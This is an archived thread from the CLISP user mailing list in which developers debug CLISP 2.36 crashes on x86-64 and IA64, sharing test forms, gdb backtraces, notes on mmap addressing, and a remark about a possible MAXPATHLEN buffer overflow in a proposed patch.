http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355 > > Does this mean that 2.35 also chrash on AMG64? > Btw: A few printf's for debugging and the addresses > and the file location found by gdb change a lot. > In other words: the addresse space is fully broken. Q: Does the limit of 36 bits for mmap() ind spvw.d makes sense in combination of 48 bits choosen for the address handling? Q: Is it known that --with-debug leads to an error within the gc_unmarkcheck() function of spvw_garcol.d forced by -DDEBUG_SPVW. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Dec 14 06:04:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmXEn-0000mQ-1y for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 06:04:09 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EmXEl-0008I7-8e for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 06:04:09 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBEE3QvK001084; Wed, 14 Dec 2005 09:03:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051214132536.GA14284@boole.suse.de> (Werner Fink's message of "Wed, 14 Dec 2005 14:25:36 +0100") References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 06:05:33 2005 X-Original-Date: Wed, 14 Dec 2005 09:02:25 -0500 > * Dr. Werner Fink [2005-12-14 14:25:36 +0100]: > > On Mon, Dec 12, 2005 at 07:33:58PM +0100, Dr. Werner Fink wrote: >> On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote: >> > > * Dr. Werner Fink [2005-12-08 14:09:29 +0100]: >> > > >> > > Hi, >> > > >> > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0: >> > > >> > > Signal 6 is SIGABRT on x86-64. The crash is always at the same >> > > point regardless of the choosen optimization or SAFETY level. >> > >> > http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355 >> >> Does this mean that 2.35 also chrash on AMG64? >> Btw: A few printf's for debugging and the addresses >> and the file location found by gdb change a lot. >> In other words: the addresse space is fully broken. > > Q: Does the limit of 36 bits for mmap() ind spvw.d makes sense > in combination of 48 bits choosen for the address handling? I will leave this to Bruno. > Q: Is it known that --with-debug leads to an error within the > gc_unmarkcheck() function of spvw_garcol.d forced by -DDEBUG_SPVW. what error? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://www.savegushkatif.org http://ffii.org/ http://www.mideasttruth.com/ http://truepeace.org Bill Gates is great, as long as `bill' is a verb. From werner@suse.de Wed Dec 14 06:13:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmXNg-0001Ne-Dr for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 06:13:20 -0800 Received: from mail.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmXNe-0006kU-C4 for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 06:13:20 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id DEAF2EED8 for ; Wed, 14 Dec 2005 15:13:09 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20051214141309.GA29371@wotan.suse.de> References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 06:14:02 2005 X-Original-Date: Wed, 14 Dec 2005 15:13:09 +0100 On Wed, Dec 14, 2005 at 09:02:25AM -0500, Sam Steingold wrote: > > * Dr. Werner Fink [2005-12-14 14:25:36 +0100]: > > > > On Mon, Dec 12, 2005 at 07:33:58PM +0100, Dr. Werner Fink wrote: > >> On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote: > >> > > * Dr. Werner Fink [2005-12-08 14:09:29 +0100]: > >> > > > >> > > Hi, > >> > > > >> > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0: > >> > > > >> > > Signal 6 is SIGABRT on x86-64. The crash is always at the same > >> > > point regardless of the choosen optimization or SAFETY level. > >> > > >> > http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355 > >> > >> Does this mean that 2.35 also chrash on AMG64? > >> Btw: A few printf's for debugging and the addresses > >> and the file location found by gdb change a lot. > >> In other words: the addresse space is fully broken. > > > > Q: Does the limit of 36 bits for mmap() ind spvw.d makes sense > > in combination of 48 bits choosen for the address handling? > > I will leave this to Bruno. > > > Q: Is it known that --with-debug leads to an error within the > > gc_unmarkcheck() function of spvw_garcol.d forced by -DDEBUG_SPVW. > > what error? This one: ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" STACK depth: 22389 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 Object 0x333a78000 marked!! Object 0x333a78000 marked!! Object 0x333a78000 marked!! [... 1269 times repeated ...] Object 0x333a78000 marked!! make: *** [interpreted.mem] Segmentation fault Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From soeren.d.schulze@gmx.de Wed Dec 14 06:37:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmXlM-0002lL-Hx for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 06:37:48 -0800 Received: from mail.gmx.de ([213.165.64.21] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1EmXlK-00065X-2O for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 06:37:48 -0800 Received: (qmail invoked by alias); 14 Dec 2005 14:37:36 -0000 Received: from p50924866.dip.t-dialin.net (EHLO [192.168.1.8]) [80.146.72.102] by mail.gmx.net (mp037) with SMTP; 14 Dec 2005 15:37:36 +0100 X-Authenticated: #9357126 Message-ID: <43A02E3D.2090709@gmx.de> From: "Soeren D. Schulze" User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051017) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <435108DA.2080401@gmx.de> <43525891.3000809@gmx.de> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: Patch to fix a MAXPATHLEN issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 06:38:15 2005 X-Original-Date: Wed, 14 Dec 2005 15:37:49 +0100 Sam Steingold schrieb: > I took a different path - in line with existing code in unix.d > thanks for reporting the bug. Sorry for replying so late... I think your path introduces a security issue: realpath does not notice that MAXPATHLEN is defined in the code; it still assumes that it acts on a system without any limits. So if the path is longer than MAXPATHLEN, a buffer overflow might occur. However, I will check other uses of MAXPATHLEN and try to fix them in compliance to the GNU coding standards, which definitely prohibit artificial limitations. The definition of MAXPATHLEN in unix.d might introduce yet other security issues. Those fixes will not touch the existing code a non-trivial way, as MAXPATHLEN is a system limitation and it is safe to work with if it is actually imposed by the system. GNU libc provides features that work without artificial limits conveniently (as realpath() accepting NULL as I used in my patch). I am, however, unsure about other other systems that might not define MAXPATHLEN but work a different way here. Perhaps individual configure checks are the right way to examine this, even though I am not aware of any platform that might cause problems. Defining MAXPATHLEN on one's own is probably never a clean fix. It is even a bit dangerous because it hides the problems instead of fixing them. I will send you the patch when it is done. Sören From werner@suse.de Wed Dec 14 07:36:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmYg5-0007DV-2l for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 07:36:25 -0800 Received: from ns.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmYg3-0006WZ-PV for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 07:36:25 -0800 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 2EFECF1DB for ; Wed, 14 Dec 2005 16:36:20 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051214153617.GA17223@boole.suse.de> References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051214141309.GA29371@wotan.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 07:37:04 2005 X-Original-Date: Wed, 14 Dec 2005 16:36:17 +0100 Hi, just found the same error in hashtable handling on IA64: (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) Exiting on signal 6 ... seems to be a common problem on 64 bit architectures. On both architectures I see a broken address in avl_spvw_move at line 643 of avl.d used with locale pointer nodeplace: #0 0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643 643 if (node->nodedata.right == EMPTY) Please note that I've disabled TRIVIALMAP_MEMORY for AMD64 by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply to avoid a potenial 36/48 bit addressing problem within mmap. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From werner@suse.de Wed Dec 14 07:50:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmYtH-00083g-W6 for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 07:50:03 -0800 Received: from mx2.suse.de ([195.135.220.15]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmYtC-0007eS-Ey for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 07:50:04 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id D0AD61E024 for ; Wed, 14 Dec 2005 16:49:53 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051214154951.GA18868@boole.suse.de> References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051214153617.GA17223@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 07:51:02 2005 X-Original-Date: Wed, 14 Dec 2005 16:49:51 +0100 On Wed, Dec 14, 2005 at 04:36:17PM +0100, Dr. Werner Fink wrote: > Hi, > > just found the same error in hashtable handling on IA64: > > (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) > Exiting on signal 6 > > ... seems to be a common problem on 64 bit architectures. > > On both architectures I see a broken address in avl_spvw_move > at line 643 of avl.d used with locale pointer nodeplace: > > #0 0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643 > 643 if (node->nodedata.right == EMPTY) > > Please note that I've disabled TRIVIALMAP_MEMORY for AMD64 > by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to > the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply > to avoid a potenial 36/48 bit addressing problem within mmap. > Beside this, the --with-debug switch seems to work on IA64 ;) Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Dec 14 07:50:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmYu3-00086T-Cd for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 07:50:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EmYu1-0008KR-HW for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 07:50:51 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBEFoSgN006745; Wed, 14 Dec 2005 10:50:28 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051214153617.GA17223@boole.suse.de> (Werner Fink's message of "Wed, 14 Dec 2005 16:36:17 +0100") References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 07:51:10 2005 X-Original-Date: Wed, 14 Dec 2005 10:49:27 -0500 > * Dr. Werner Fink [2005-12-14 16:36:17 +0100]: > > just found the same error in hashtable handling on IA64: > > (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) > Exiting on signal 6 > > ... seems to be a common problem on 64 bit architectures. indeed. > On both architectures I see a broken address in avl_spvw_move > at line 643 of avl.d used with locale pointer nodeplace: > > #0 0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643 > 643 if (node->nodedata.right == EMPTY) > > Please note that I've disabled TRIVIALMAP_MEMORY for AMD64 > by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to > the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply > to avoid a potenial 36/48 bit addressing problem within mmap. please see clisp/unix/PLATFORMS for the _correct_ way to disable memory mapping. (close to the end of file) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.mideasttruth.com/ http://truepeace.org http://pmw.org.il/ http://www.dhimmi.com/ http://www.palestinefacts.org/ MS DOS: Keyboard not found. Press F1 to continue. From werner@suse.de Wed Dec 14 08:03:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmZ69-0000hf-9e for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:03:21 -0800 Received: from mx1.suse.de ([195.135.220.2]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmZ61-000717-MN for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:03:15 -0800 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 96FC2F263 for ; Wed, 14 Dec 2005 17:03:08 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" Message-ID: <20051214160306.GA19702@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 08:04:18 2005 X-Original-Date: Wed, 14 Dec 2005 17:03:06 +0100 On Wed, Dec 14, 2005 at 10:49:27AM -0500, Sam Steingold wrote: > > Please note that I've disabled TRIVIALMAP_MEMORY for AMD64 > > by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to > > the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply > > to avoid a potenial 36/48 bit addressing problem within mmap. > > please see clisp/unix/PLATFORMS for the _correct_ way to disable memory > mapping. (close to the end of file) I know that, nevertheless this would be the first step forward to a patch ;) Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From werner@suse.de Wed Dec 14 08:12:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmZEd-0001IS-GP for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:12:07 -0800 Received: from ns2.suse.de ([195.135.220.15] helo=mx2.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmZEc-0003yF-QS for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:12:07 -0800 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id 875A31DB52 for ; Wed, 14 Dec 2005 17:12:01 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051214161158.GA20207@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051214154951.GA18868@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 08:13:01 2005 X-Original-Date: Wed, 14 Dec 2005 17:11:58 +0100 On Wed, Dec 14, 2005 at 04:49:51PM +0100, Dr. Werner Fink wrote: > On Wed, Dec 14, 2005 at 04:36:17PM +0100, Dr. Werner Fink wrote: > > Hi, > > > > just found the same error in hashtable handling on IA64: > > > > (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) > > Exiting on signal 6 > > > > ... seems to be a common problem on 64 bit architectures. > > > > On both architectures I see a broken address in avl_spvw_move > > at line 643 of avl.d used with locale pointer nodeplace: > > > > #0 0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643 > > 643 if (node->nodedata.right == EMPTY) > > > > Please note that I've disabled TRIVIALMAP_MEMORY for AMD64 > > by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to > > the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply > > to avoid a potenial 36/48 bit addressing problem within mmap. > > > > Beside this, the --with-debug switch seems to work on IA64 ;) Inndeed: (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT) ) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-T EST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) ( ! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83) ) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) inconsistent page at address 0x60000000001256b0 inconsistent page at address 0x6000000000135700 